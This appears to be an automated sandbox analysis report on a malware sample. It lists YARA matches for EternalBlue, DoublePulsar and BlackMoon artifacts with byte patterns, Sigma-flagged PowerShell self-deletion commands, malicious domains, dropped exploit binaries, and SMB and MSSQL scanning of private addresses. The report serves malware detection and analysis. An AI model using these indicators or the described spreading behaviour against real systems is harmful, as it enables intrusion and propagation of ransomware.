3C 08 48 FF C1 48 39 D1 75 0x3b02f:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x41c2b:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x433e3:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x449b7:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4b58b:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4cd43:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
21.2.MpMgSvc.exe.628e79.6.raw.unpack	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0xaffb9:$x1: [-] Error: Exploit choice not supported for target OS!! 0xafc64:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0xafd3d:$x3: [-] Error: Backdoor not present on target 0xae9e8:$x4: ********* TARGET ARCHITECTURE IS X64 **********
21.2.MpMgSvc.exe.628e79.6.raw.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x7e6de:$ci2: coli_ 0x7e6f2:$ci2: coli_ 0x7e704:$ci2: coli_ 0x7e712:$ci2: coli_ 0x7e724:$ci2: coli_ 0x7e732:$ci2: coli_ 0xa156c:$ci2: coli_ 0xa1588:$ci2: coli_ 0xa159c:$ci2: coli_ 0xa15ae:$ci2: coli_ 0xa15bc:$ci2: coli_ 0xa15ce:$ci2: coli_ 0xb0b36:$ci2: coli_ 0xb0b52:$ci2: coli_ 0xb0b66:$ci2: coli_ 0xb0b78:$ci2: coli_ 0xb0b86:$ci2: coli_ 0xb0b98:$ci2: coli_ 0x7e6d0:$ci3: mainWrapper 0xa157a:$ci3: mainWrapper 0xb0b44:$ci3: mainWrapper
21.2.MpMgSvc.exe.625266.5.raw.unpack	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
21.2.MpMgSvc.exe.625266.5.raw.unpack	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
21.2.MpMgSvc.exe.625266.5.raw.unpack	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0x1387e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x15016:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x165ce:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1d176:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1e90e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x1fec6:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2660a:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x27ca6:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x29176:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2f8b2:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x30f4e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3241e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x353be:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x38366:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3b7c2:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3ec42:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4583e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x46ff6:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x485ca:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4f19e:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x50956:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
21.2.MpMgSvc.exe.625266.5.raw.unpack	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0xb3bcc:$x1: [-] Error: Exploit choice not supported for target OS!! 0xb3877:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0xb3950:$x3: [-] Error: Backdoor not present on target 0xb25fb:$x4: ********* TARGET ARCHITECTURE IS X64 **********
21.2.MpMgSvc.exe.625266.5.raw.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x3129:$ci2: coli_ 0x3135:$ci2: coli_ 0x3141:$ci2: coli_ 0x3151:$ci2: coli_ 0x315c:$ci2: coli_ 0x316c:$ci2: coli_ 0x822f1:$ci2: coli_ 0x82305:$ci2: coli_ 0x82317:$ci2: coli_ 0x82325:$ci2: coli_ 0x82337:$ci2: coli_ 0x82345:$ci2: coli_ 0xa517f:$ci2: coli_ 0xa519b:$ci2: coli_ 0xa51af:$ci2: coli_ 0xa51c1:$ci2: coli_ 0xa51cf:$ci2: coli_ 0xa51e1:$ci2: coli_ 0xb4749:$ci2: coli_ 0xb4765:$ci2: coli_ 0xb4779:$ci2: coli_
21.2.MpMgSvc.exe.60c853.2.raw.unpack	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
21.2.MpMgSvc.exe.60c853.2.raw.unpack	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
21.2.MpMgSvc.exe.60c853.2.raw.unpack	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0x2c291:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2da29:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2efe1:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x35b89:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x37321:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x388d9:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x3f01d:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x406b9:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x41b89:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x482c5:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x49961:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4ae31:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x4ddd1:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x50d79:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x541d5:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x57655:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x5e251:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x5fa09:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x60fdd:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x67bb1:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x69369:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
21.2.MpMgSvc.exe.60c853.2.raw.unpack	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0xcc5df:$x1: [-] Error: Exploit choice not supported for target OS!! 0xcc28a:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0xcc363:$x3: [-] Error: Backdoor not present on target 0xcb00e:$x4: ********* TARGET ARCHITECTURE IS X64 **********
21.2.MpMgSvc.exe.60c853.2.raw.unpack	Regin_Related_Malware	Malware Sample - maybe Regin related	Florian Roth	0x115a8:$s2: %x:%x:%x:%x:%x:%x:%x:%x%c 0x9c6c8:$s4: msvcrtd.dll 0x9d422:$s4: msvcrtd.dll 0x115c4:$s5: %d.%d.%d.%d%c
21.2.MpMgSvc.exe.60c853.2.raw.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x1431c:$ci1: CNEFileIO_ 0x1432f:$ci1: CNEFileIO_ 0x14343:$ci1: CNEFileIO_ 0x14358:$ci1: CNEFileIO_ 0x1436d:$ci1: CNEFileIO_ 0x14383:$ci1: CNEFileIO_ 0x14395:$ci1: CNEFileIO_ 0x143b0:$ci1: CNEFileIO_ 0x143c4:$ci1: CNEFileIO_ 0x143d9:$ci1: CNEFileIO_ 0x143ec:$ci1: CNEFileIO_ 0x143fe:$ci1: CNEFileIO_ 0x14411:$ci1: CNEFileIO_ 0x14425:$ci1: CNEFileIO_ 0x1443a:$ci1: CNEFileIO_ 0x1444d:$ci1: CNEFileIO_ 0x14467:$ci1: CNEFileIO_ 0x14481:$ci1: CNEFileIO_ 0x14495:$ci1: CNEFileIO_ 0x144a8:$ci1: CNEFileIO_ 0x144bc:$ci1: CNEFileIO_
27.2.svchost.exe.11236ba8.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
26.2.Hooks.exe.1658e76.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
26.2.Hooks.exe.1673721.9.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
21.2.MpMgSvc.exe.400000.0.unpack	JoeSecurity_ETERNALBLUE	Yara detected ETERNALBLUE	Joe Security
21.2.MpMgSvc.exe.400000.0.unpack	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
27.2.svchost.exe.1125660d.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
27.2.svchost.exe.11251453.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
21.2.MpMgSvc.exe.400000.0.unpack	JoeSecurity_DoublePulsar	Yara detected DoublePulsar	Joe Security
21.2.MpMgSvc.exe.400000.0.unpack	Windows_Exploit_Eternalblue_ead33bf8	unknown	unknown	0x237ee4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x23967c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x23ac34:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2417dc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x242f74:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x24452c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x24ac70:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x24c30c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x24d7dc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x253f18:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2555b4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x256a84:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x259a24:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x25c9cc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x25fe28:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x2632a8:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x269ea4:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x26b65c:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x26cc30:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x273804:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 0x274fbc:$a: F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75
21.2.MpMgSvc.exe.400000.0.unpack	EquationGroup_Toolset_Apr17_Eternalromance	Detects EquationGroup Tool - April Leak	Florian Roth	0x2d8232:$x1: [-] Error: Exploit choice not supported for target OS!! 0x2d7edd:$x2: Error: Target machine out of NPP memory (VERY BAD!!) - Backdoor removed 0x2d7fb6:$x3: [-] Error: Backdoor not present on target 0x2d6c61:$x4: ********* TARGET ARCHITECTURE IS X64 **********
21.2.MpMgSvc.exe.400000.0.unpack	Regin_Related_Malware	Malware Sample - maybe Regin related	Florian Roth	0x21d1fb:$s2: %x:%x:%x:%x:%x:%x:%x:%x%c 0x2a831b:$s4: msvcrtd.dll 0x2a9075:$s4: msvcrtd.dll 0x21d217:$s5: %d.%d.%d.%d%c
21.2.MpMgSvc.exe.400000.0.unpack	INDICATOR_TOOL_EXP_EternalBlue	Detects Windows executables containing EternalBlue explitation artifacts	ditekSHen	0x21ff6f:$ci1: CNEFileIO_ 0x21ff82:$ci1: CNEFileIO_ 0x21ff96:$ci1: CNEFileIO_ 0x21ffab:$ci1: CNEFileIO_ 0x21ffc0:$ci1: CNEFileIO_ 0x21ffd6:$ci1: CNEFileIO_ 0x21ffe8:$ci1: CNEFileIO_ 0x220003:$ci1: CNEFileIO_ 0x220017:$ci1: CNEFileIO_ 0x22002c:$ci1: CNEFileIO_ 0x22003f:$ci1: CNEFileIO_ 0x220051:$ci1: CNEFileIO_ 0x220064:$ci1: CNEFileIO_ 0x220078:$ci1: CNEFileIO_ 0x22008d:$ci1: CNEFileIO_ 0x2200a0:$ci1: CNEFileIO_ 0x2200ba:$ci1: CNEFileIO_ 0x2200d4:$ci1: CNEFileIO_ 0x2200e8:$ci1: CNEFileIO_ 0x2200fb:$ci1: CNEFileIO_ 0x22010f:$ci1: CNEFileIO_
21.2.MpMgSvc.exe.400000.0.unpack	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x2066a4:$s1: blackmoon 0x2066e4:$s2: BlackMoon RunTime Error:
26.2.Hooks.exe.16788db.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
Click to see the 85 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe", CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe", CommandLine|base64offset|contains: Jy, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\WINDOWS\Temp\Hooks.exe" , ParentImage: C:\Windows\Temp\Hooks.exe, ParentProcessId: 12108, ParentProcessName: Hooks.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\WINDOWS\Temp\Hooks.exe", ProcessId: 12400, ProcessName: powershell.exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\svchost.exe", CommandLine: "C:\Windows\system32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\svchost.exe -k GraphicsPerfSvcsGroup -s GraphicsPerfSvcs, ParentImage: C:\Windows\SysWOW64\svchost.exe, ParentProcessId: 12364, ParentProcessName: svchost.exe, ProcessCommandLine: "C:\Windows\system32\svchost.exe", ProcessId: 12440, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\Users\user\Desktop\exe1.bin.bak.exe", CommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\Users\user\Desktop\exe1.bin.bak.exe", CommandLine|base64offset|contains: Jy, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\exe1.bin.bak.exe", ParentImage: C:\Users\user\Desktop\exe1.bin.bak.exe, ParentProcessId: 7644, ParentProcessName: exe1.bin.bak.exe, ProcessCommandLine: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Sleep -s 2;del "C:\Users\user\Desktop\exe1.bin.bak.exe", ProcessId: 7344, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, ProcessId: 11076, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: exe1.bin.bak.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Windows\Microsoft.NET\ctfmoon.exe	Avira: detection malicious, Label: TR/Redcap.gubrb
Source: C:\Windows\Logs\RunDllExe.dll	Avira: detection malicious, Label: TR/Beaugrit.aba

Multi AV Scanner detection for domain / URL

Source: down.ftp21.cc	Virustotal: Detection: 19%	Perma Link
Source: www.4i7i.com	Virustotal: Detection: 6%	Perma Link
Source: ssl.ftp21.cc	Virustotal: Detection: 9%	Perma Link
Source: members.3322.org	Virustotal: Detection: 5%	Perma Link
Source: www.362-com.com	Virustotal: Detection: 7%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Windows\Microsoft.NET\ctfmoon.exe	ReversingLabs: Detection: 65%
Source: C:\Windows\Microsoft.NET\ctfmoon.exe	Virustotal: Detection: 61%			Perma Link

Multi AV Scanner detection for submitted file

Source: exe1.bin.bak.exe	Virustotal: Detection: 86%			Perma Link
Source: exe1.bin.bak.exe	ReversingLabs: Detection: 78%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Windows\Logs\RunDllExe.dll

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: exe1.bin.bak.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_0040256C CryptAcquireContextA,CryptAcquireContextA,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptDestroyHash,CryptReleaseContext,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptDestroyHash,CryptReleaseContext,	0_2_0040256C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 27_2_1000AC1F CryptAcquireContextA,CryptAcquireContextA,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptDestroyHash,CryptReleaseContext,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptDestroyHash,CryptReleaseContext,	27_2_1000AC1F
Source: C:\Windows\Temp\Wmicc.exe	Code function: 55_2_0040335C CryptAcquireContextA,CryptAcquireContextA,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptDestroyHash,CryptReleaseContext,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptDestroyHash,CryptReleaseContext,	55_2_0040335C

Exploits

Yara detected DoublePulsar

Source: Yara match	File source: 21.2.MpMgSvc.exe.628e79.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.MpMgSvc.exe.625266.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.MpMgSvc.exe.60c853.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MpMgSvc.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, type: DROPPED

Yara detected ETERNALBLUE

Source: Yara match	File source: 21.2.MpMgSvc.exe.628e79.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.MpMgSvc.exe.625266.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.MpMgSvc.exe.60c853.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MpMgSvc.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Temp\Eternalblue-2.2.0.exe, type: DROPPED

Connects to many different private IPs (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.2.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.118:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.119:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.114:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.115:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.116:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.117:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.110:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.160:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.111:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.112:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.113:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.107:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.108:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.109:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.103:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.104:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.105:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.106:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.100:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.101:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.102:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.3.147:445	Jump to behavior
